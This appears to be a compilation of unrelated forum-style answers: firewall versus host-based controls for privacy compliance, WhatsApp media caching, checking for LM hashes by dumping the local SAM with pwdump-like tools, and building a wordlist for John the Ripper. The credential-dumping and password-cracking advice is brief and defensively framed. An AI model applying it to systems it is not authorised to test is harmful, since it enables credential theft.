I am sure you are aware that for many security threats and/or compliance requirements there exists both network-based and host-based mitigation controls.

Microsoft, being essentially a host-oriented company, is naturally going to be on the side of host-based security solutions. And when dealing with people and applications, one would traditionally side with a host-based solution. But firewalls have changed. "Next Generation Firewalls," as defined by Gartner, are designed specifically to enable user and application as well as traditional IP, port, and protocol policy control. (I am not always a fan of Gartner, but they have it right on NGFWs.) So a NGFW that can control access from Layer 3 through Layer 7 is going to be a better solution than a host-based approach which of course is blind to lower levels of communications.

My home state, Massachusetts, passed a very strict privacy law. Organizations are placing NGFWs between users and servers in order to meet its requirements. Here are a few of the law's requirements and how a NGFW meets them:

Isolate private data - Define logical security zones which allows you to isolate servers holding private data.
Control access to private data based on applications - Define policies to control which applications are allowed to access the servers containing private data.
Control which users have access to private data - Integrate the firewall with your LDAP servers so you can define policies to control which groups have access to private data.
Detect and block threats - This firewall should also have a threat protection capability to monitor the allowed traffic and block detected threats.

BTW, depending on the firewall you are using, you can create scenario #3 with one physical firewall.

Having said this, if the goal is protecting Personally Identifiable Information (PII), a NGFW by itself is not the complete answer. First you need to find where PII is located.

Second, once you have found all the PII, you may want to take steps to consolidate it to as few servers as possible.

Third you may want to implement controls to prevent PII from "resting" on end user workstations and being transmitted from a user to someone else.

Fourth, you may want to add a specific database access control which monitors 100% of database accesses. This must be a host-based control. There is no other way to make sure you are monitoring everything including Views, Stored Procedures, and Triggers.


If Whatsapp media messages are e2e encrypted, what is the point of storing popular messages on the server?

It explains what it means. It's not storing messages it is storing media.
Since transmitting media can take a lot of bandwidth, it is better and easier for everyone if there can be a copy that is cached somewhere for lowered traffic needs and faster access. If a lot of people in the group and accessing, downloading, and playing that media over a long period of time, it's a waste of resources to have to re-download and re-cache that media. So it is saying that it will keep a copy of that media for potentially a longer period of time until it is not being accessed so much.
The concept you are looking to understand is: "caching".


How to check for presence of LM hashes in local SAM

The reliable way to check this, I think, is to put yourself into attacker's position, dump hashes, and see if LM hashes show in those dumps. You can do this with variety of pwdump-like tools.

I haven't done this in a while, but if memory serves, output file contains user name and id, along with LM and NTLM hashes. If LM hash isn't present, it will be clearly visible in the file.


In my opinion the best way to do that is creating a wordlist with all the possibilities using a script for example and then using that wordlist in John the Ripper